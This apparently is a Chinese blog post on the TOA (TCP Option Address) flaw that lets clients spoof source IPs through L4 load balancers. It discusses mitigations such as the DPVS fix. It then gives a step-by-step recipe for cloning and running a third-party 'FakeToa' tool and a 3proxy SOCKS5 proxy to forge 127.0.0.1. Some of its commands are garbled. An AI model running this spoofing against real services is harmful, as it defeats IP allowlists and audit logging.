【不可防御】TOA 伪造来源IP之殇

脚本程序目前在Github有其他人Fork的备份，如果想学习但找不到的兄弟，可以私聊公众号你们问题，我给你们解答下。

TOA 技术

TOA - TCP Option Address

TOA 数据结构包括三部分: op-kind、op-length、op-data

其中 op-kind 类型占据一字节故0-255可以随便填，不冲突就行。

那么其原理呼之欲出，通过在TCP的option字段塞进一个TOA结构，令其携带 "IP信息"从而实现IP透传的功能。

另外系统一旦安装TOA内核模块，获取IP的关键底层函数会被HOOK，从而将TOA信息的IP作为请求的IP提供给上层应用"无感"使用。

声明:

部分图来源于pyn3rd kcon、ecapture作者的PPT和文章

因为觉得他们写的很好，自己没机械复述的必要。

为什么需要 TOA ？

TOA 缺陷所带来的影响面是非常广泛的。

不可防御

开源工具 HAE 的作者 Key 在X上也发布了关于TOA的一些见解，并给出TOA源IP伪造攻击的防御思路，思路是正确的，不过在这里我泼个冷水，基于现在的TOA设计是没办法做到的，就是"不可防御"的。

还有就是 ecapture 作者提到的 "L4LB网络中间件DPVS "提到的修复PR，原理是清除用户传入的TOA信息，思路是一样的，很清晰。

PR 925: clear the original TOA information to mitigate  potential security risks.

继续引用别人的图，首先了解常见的云WAF架构，基于这个可以类比得到臃肿的业务线架构，大同小异，套娃。

TOA的设计初衷是解决 FULL NAT 的问题，它是没有RFC标准的，不同厂商的设计实现甚至可能不一样，表现为少众的"黑科技"存在。

TOA设计思路也是没问题的，问题出在于发出TOA信息的来源是否可信，单单依靠最外层的的L4负载均衡清除TOA信息就真的是最好的解决方案么？

下面是鄙人粗陋的见解:

由于业务本身具备层层迭代、日趋复杂、历史遗留的特点，如果是套两层L4负载均衡、三层L4负载均衡的结构呢？

那么如果是一刀切的话，其实有没有TOA的意义在我看来已经没什么用了，因为TOA设计初衷应该是想高效的同时能解决复杂业务架构下实现"IP透传"的问题。

为什么FULL NAT 高效呢？

因为FULL NAT不像其他NAT、Tunnel模式那样需要在设备上进行封包解包，做IP映射路由转发等操作，所以非FNAT的其他模式能实现透传IP，但随之而来的是需要设备付出计算成本和反应时间损耗的。

所以在我看来，TOA更像是"取巧"的产物，那么TOA缺陷有修复的必要性么？没办法正面回答这个问题，这里打趣一下，于我而言，记录IP对我是没啥好处的，IP其实也是一种隐私。

我觉得 TOA 只会成为一个坑(需要动内核/设备支持)，一个让运维头大的坑，就像一个没有标准的捣蛋鬼一样，一般人基本用L7层的协议比如加密XFF头足够了，至于更好的回答，只能说怎么能让整个实现流程变得统一规范、自动化、简单，那么它就是一个解决"IP"透传的好方案。

工具使用

说了那么多没什么用的东西，不如直接上手装来玩。

注意: 在其他机器上安装可能有很多依赖、环境问题需要解决。推荐云主机+ubuntu22.04 即最新的系统，下面以 Ucloud 主机作为演示

之前关注我公众号的小伙伴 买 37RMB /年的Ucloud VPS 的 ubuntu22.04 服务器可以百分百复现。

如果服务器系统不是这个话，建议你重新装一下

首先修改下源， 开头增加一条记录，记得以sudo su - root身份执行

vim /etc/apt/sources.list
#############
deb http://cz.archive.ubuntu.com/ubuntu focal-updates main 
#####################
# 不想手动就直接命令替换
sudo sed -i '1i deb http://cz.archive.ubuntu.com/ubuntu focal-updates main' /etc/apt/sources.list

下面就是傻瓜化操作

# 更新
sudo apt update
sudo apt-get install -y linux-tools-common linux-tools-generic linux-tools-`uname -r`
# 下载项目
git clone https://github.com/passwa11/FakeToa.git
cd FakeToa
# 运行，py 里面已经内置编译好的raw文件
python3 toa.py attach --to_ip 8.8.8.8

一般对于这种非第一来源的东西做一些基础的检测还是有必要的，并没发现什么问题，况且都是VPS直接用就是了。

配置代理

引用 Key 使用的 3proxy 安装也很简单，执行几条命令即可。

wget https://github.com/3proxy/3proxy/releases/download/0.9.4/3proxy-0.9.4.x86_64.deb
dpkg -i 3proxy-0.9.4.×86 64. deb
chmod 755 /us/local/3proxy/conf/add3proxyuser.sh
/usr/local/3proxy/conf/add3proxyuser.sh username password
systemctl start 3proxy.service
# 开机自启动
systemctl enable 3proxy.service

使用 socks5 隧道测试效果

curl http://qifu-api.baidubce.com/ip/local/geo/v1/district -x socks5://username:password@vps:1080

伪造 127.0.0.1 成功

后记